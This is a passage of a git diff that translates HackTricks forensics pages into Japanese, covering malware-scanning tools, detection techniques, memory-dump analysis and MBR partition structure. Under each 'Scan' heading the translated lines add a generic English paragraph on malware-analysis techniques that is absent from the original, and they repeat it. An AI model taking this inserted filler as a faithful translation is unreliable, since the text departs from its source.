**に提出してください。**
-## Forensics CheatSheets +## フォレンジックチートシート [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## オンラインサービス * [VirusTotal](https://www.virustotal.com/gui/home/upload) * [HybridAnalysis](https://www.hybrid-analysis.com) @@ -24,136 +24,181 @@ * [Intezer](https://analyze.intezer.com) * [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## オフラインのウイルス対策および検出ツール ### Yara -#### Install - +#### インストール ```bash sudo apt-get install -y yara ``` +#### ルールの準備 -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - +このスクリプトを使用して、GitHubからすべてのYARAマルウェアルールをダウンロードしてマージします:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ ディレクトリを作成し、それを実行します。これにより、_**malware\_rules.yar**_ という名前のファイルが作成され、すべてのマルウェアのYARAルールが含まれます。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` +#### スキャン -#### Scan +Scanning is the first step in the malware analysis process. It involves examining the suspicious file or program to gather information about its behavior and characteristics. The purpose of scanning is to identify any potential threats and determine the appropriate analysis techniques to use. +There are several scanning techniques that can be used in malware analysis: + +1. **Static Analysis**: This technique involves examining the file without executing it. It includes analyzing the file's structure, metadata, and code to identify any suspicious or malicious elements. + +2. **Dynamic Analysis**: In this technique, the file is executed in a controlled environment, such as a virtual machine or sandbox. The behavior of the file is monitored to identify any malicious activities, such as network connections, file modifications, or system changes. + +3. **Signature-based Analysis**: This technique involves comparing the file's signature or hash value against a database of known malware signatures. If a match is found, it indicates that the file is malicious. + +4. **Heuristic Analysis**: Heuristic analysis involves using predefined rules or patterns to identify potentially malicious behavior. This technique is useful for detecting new or unknown malware. + +5. **Behavioral Analysis**: Behavioral analysis focuses on monitoring the file's behavior during execution. It involves capturing system events, such as API calls, registry modifications, and network traffic, to identify any suspicious activities. + +6. **Code Analysis**: Code analysis involves examining the file's code to identify any vulnerabilities or malicious functions. This technique requires expertise in programming languages and reverse engineering. + +By using a combination of these scanning techniques, analysts can gather valuable information about the malware and determine the appropriate course of action for further analysis. ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: マルウェアのチェックとルールの作成 -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +バイナリからyaraルールを生成するために、ツール[**YaraGen**](https://github.com/Neo23x0/yarGen)を使用することができます。以下のチュートリアルを参照してください: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install +#### インストール +ClamAVはオープンソースのアンチウイルスエンジンであり、マルウェアの検出と駆除に使用されます。以下の手順に従ってClamAVをインストールします。 + +1. ターミナルを開きます。 + +2. 次のコマンドを実行して、ClamAVをインストールします。 + + ``` + sudo apt-get install clamav + ``` + +3. インストールが完了したら、データベースを更新します。 + + ``` + sudo freshclam + ``` + +4. ClamAVが正しくインストールされたかどうかを確認するために、次のコマンドを実行します。 + + ``` + clamscan --version + ``` + + インストールされたClamAVのバージョンが表示されれば、インストールは成功しています。 + +ClamAVはインストールされ、使用準備が整いました。次に、ClamAVを使用してマルウェアのスキャンを実行する方法について学びましょう。 ``` sudo apt-get install -y clamav ``` +#### スキャン -#### Scan +Scanning is the first step in the malware analysis process. It involves examining the suspicious file or program to gather information about its behavior and characteristics. The purpose of scanning is to identify any potential threats and determine the appropriate analysis techniques to use. +There are several scanning techniques that can be used in malware analysis: + +1. **Static Analysis**: This technique involves examining the file without executing it. It includes analyzing the file's structure, metadata, and code to identify any suspicious or malicious elements. + +2. **Dynamic Analysis**: In this technique, the file is executed in a controlled environment, such as a virtual machine or sandbox. The behavior of the file is monitored to identify any malicious activities, such as network connections, file modifications, or system changes. + +3. **Signature-based Analysis**: This technique involves comparing the file's signature or hash value against a database of known malware signatures. If a match is found, it indicates that the file is malicious. + +4. **Heuristic Analysis**: Heuristic analysis involves using predefined rules or patterns to identify potentially malicious behavior. This technique is useful for detecting new or unknown malware. + +5. **Behavioral Analysis**: Behavioral analysis focuses on monitoring the file's behavior during execution. It involves capturing system events, such as API calls, registry modifications, and network traffic, to identify any suspicious activities. + +6. **Code Analysis**: Code analysis involves examining the file's code to identify any vulnerabilities or malicious functions. This technique requires expertise in programming languages and reverse engineering. + +By using a combination of these scanning techniques, analysts can gather valuable information about the malware and determine the appropriate analysis approach. ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa**は、実行可能ファイル(PE、ELF、.NET)で潜在的に悪意のある**機能**を検出します。Att\&ckの戦術や、以下のような疑わしい機能を見つけることができます。 -* check for OutputDebugString error -* run as a service -* create process +- OutputDebugStringエラーのチェック +- サービスとして実行 +- プロセスの作成 -Get it int he [**Github repo**](https://github.com/mandiant/capa). +[**Githubリポジトリ**](https://github.com/mandiant/capa)から入手できます。 -### IOCs +### IOC(Indicator Of Compromise) -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOCはCompromiseの指標です。IOCは、潜在的に望ましくないソフトウェアまたは確認された**マルウェア**を識別するための条件のセットです。Blue Teamは、これらの定義を使用して、自分たちのシステムやネットワークでこのような悪意のあるファイルを検索します。\ +これらの定義を共有することは非常に役立ちます。なぜなら、コンピュータでマルウェアが特定され、そのマルウェアのIOCが作成された場合、他のBlue Teamはそれを使用してマルウェアをより速く識別できるからです。 -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOCを作成または変更するためのツールは、[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**です。**\ +[**Redline**](https://www.fireeye.com/services/freeware/redline.html)などのツールを使用して、デバイスで定義されたIOCを検索することができます。 ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki)は、シンプルなCompromiseの指標に基づいてスキャンを行うツールです。\ +検出は、以下の4つの検出方法に基づいています: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) -``` +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +4. C2 Back Connect Check +Compares process connection endpoints with C2 IOCs (new since version v.10) +``` ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)は、GNU GPLv2ライセンスの下でリリースされたLinux用のマルウェアスキャナです。共有ホスト環境で直面する脅威に基づいて設計されています。LMDは、ネットワークエッジ侵入検知システムからの脅威データを使用して、攻撃で実際に使用されているマルウェアを抽出し、検出のためのシグネチャを生成します。さらに、LMDのチェックアウト機能とマルウェアコミュニティのリソースからも脅威データが派生します。 ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +[**rkhunter**](http://rkhunter.sourceforge.net)のようなツールは、ファイルシステムをチェックして可能な**ルートキット**とマルウェアを検出するために使用できます。 ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[FLOSS](https://github.com/mandiant/flare-floss)は、さまざまな技術を使用して実行可能ファイル内の難読化された文字列を検出しようとするツールです。 ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper)は、実行可能ファイル内の基本的な情報(バイナリデータ、エントロピー、URLとIP、一部のyaraルール)をチェックします。 ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download)は、Windows実行可能ファイルのインポート、エクスポート、ヘッダーなどの情報を取得するだけでなく、ウイルストータルをチェックし、潜在的なAtt\&ck技術を見つけることもできるツールです。 ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[DiE](https://github.com/horsicq/Detect-It-Easy/)は、ファイルが**暗号化**されているかどうかを検出し、**パッカー**を見つけるためのツールです。 ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[NeoPI](https://github.com/CiscoCXSecurity/NeoPI)は、Pythonスクリプトであり、テキスト/スクリプトファイル内の**難読化**および**暗号化**されたコンテンツを検出するためにさまざまな**統計的手法**を使用します。 NeoPIの目的は、**隠されたウェブシェルコード**の検出を支援することです。 ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[php-malware-finder](https://github.com/nbs-system/php-malware-finder)は、**難読化**/**不正なコード**を検出するために最善を尽くし、**マルウェア**/ウェブシェルでよく使用される**PHP**関数を使用しているファイルを検出します。 ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +**マルウェアサンプル**をチェックする際には、常にバイナリの**署名**をチェックする必要があります。署名を行った**開発者**が既に**マルウェア**と関連している可能性があるためです。 ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -164,29 +209,28 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## 検出技術 -## Detection Techniques +### ファイルのスタッキング -### File Stacking +もし、ウェブサーバーの**ファイル**が**ある日に最後に更新された**ことを知っている場合、**ウェブサーバーのすべてのファイル**の**作成日と変更日**をチェックし、どのファイルが**怪しい**かを確認します。 -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### ベースライン -### Baselines +あるフォルダのファイルが**変更されていないはず**の場合、そのフォルダの**元のファイル**の**ハッシュ**を計算し、**現在のファイル**と比較します。変更されたものは**怪しい**です。 -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### 統計分析 -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +情報がログに保存されている場合、ウェブサーバーの各ファイルがアクセスされた回数などの統計情報を**チェック**することができます。ウェブシェルがその中の1つである可能性があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 1ce3f44f0..569457b8a 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,51 +1,51 @@ -# Memory dump analysis +# メモリダンプの分析
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進する使命を持ち、あらゆる分野の技術とサイバーセキュリティの専門家が集まる活気のある場です。 {% embed url="https://www.rootedcon.com/" %} -## Start +## 開始 -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +pcap内の**マルウェア**を検索します。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用します。 ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -The premiere open-source framework for memory dump analysis is [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant "profile" (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifacts.\ -From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) +メモリダンプの分析におけるオープンソースのフレームワークである[Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)は、メモリダンプを解析するためのPythonスクリプトです。このスクリプトは、外部ツール(またはVMを一時停止して収集したVMwareメモリイメージ)で収集されたメモリダンプファイルと関連する「プロファイル」(ダンプが収集されたOS)を指定することで、データ内の構造を特定できます。実行中のプロセス、パスワードなどを抽出するためのプラグインを使用して拡張することもできます。\ +出典:[https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -## Mini dump crash report +## ミニダンプクラッシュレポート -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +ダンプが小さい場合(いくつかのKB、おそらく数MB)、おそらくミニダンプクラッシュレポートであり、メモリダンプではありません。 ![](<../../../.gitbook/assets/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドすることができます。 ![](<../../../.gitbook/assets/image (217).png>) -You can also load the exception and see the decompiled instructions +例外をロードして、逆コンパイルされた命令を表示することもできます。 ![](<../../../.gitbook/assets/image (219).png>) ![](<../../../.gitbook/assets/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +とにかく、Visual Studioはダンプの深い分析を行うための最適なツールではありません。 -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +**IDA**または**Radare**を使用して、ダンプを詳細に検査する必要があります。 @@ -53,7 +53,7 @@ You should **open** it using **IDA** or **Radare** to inspection it in **depth**
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進する使命を持ち、あらゆる分野の技術とサイバーセキュリティの専門家が集まる活気のある場です。 {% embed url="https://www.rootedcon.com/" %} @@ -61,10 +61,10 @@ You should **open** it using **IDA** or **Radare** to inspection it in **depth** ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか +* **あなたのハッキングのテクニックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index b5e10b2df..e5985d0d6 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,154 +1,145 @@ -# Partitions/File Systems/Carving +# パーティション/ファイルシステム/カービング -## Partitions/File Systems/Carving +## パーティション/ファイルシステム/カービング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Partitions +## パーティション -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +ハードドライブまたは**SSDディスクには、データを物理的に分離するための異なるパーティションが含まれる**場合があります。\ +ディスクの**最小単位はセクタ**です(通常は512Bで構成されています)。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 -### MBR (master Boot Record) +### MBR(マスターブートレコード) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +これは、**ブートコードの446Bの後のディスクの最初のセクタ**に割り当てられます。このセクタは、PCにパーティションをどこからマウントするかを示すために必要です。\ +最大で**4つのパーティション**(最大で**1つだけがアクティブ/ブート可能**)を許可します。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションのみがアクティブにマークされることができます。\ +MBRは**最大2.2TB**を許可します。 ![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +MBRの**バイト440から443**には、**Windowsディスクシグネチャ**(Windowsを使用している場合)が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsの起動が阻止される可能性があります(ツール:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 ![](<../../../.gitbook/assets/image (493).png>) -**Format** +**フォーマット** -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| オフセット | 長さ | 項目 | +| ------------ | ---------- | ---------------- | +| 0(0x00) | 446(0x1BE)| ブートコード | +| 446(0x1BE) | 16(0x10) | 最初のパーティション | +| 462(0x1CE) | 16(0x10) | 2番目のパーティション | +| 478(0x1DE) | 16(0x10) | 3番目のパーティション | +| 494(0x1EE) | 16(0x10) | 4番目のパーティション | +| 510(0x1FE) | 2(0x2) | シグネチャ0x55 0xAA | -**Partition Record Format** +**パーティションレコードのフォーマット** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| オフセット | 長さ | 項目 | +| ----------- | --------- | 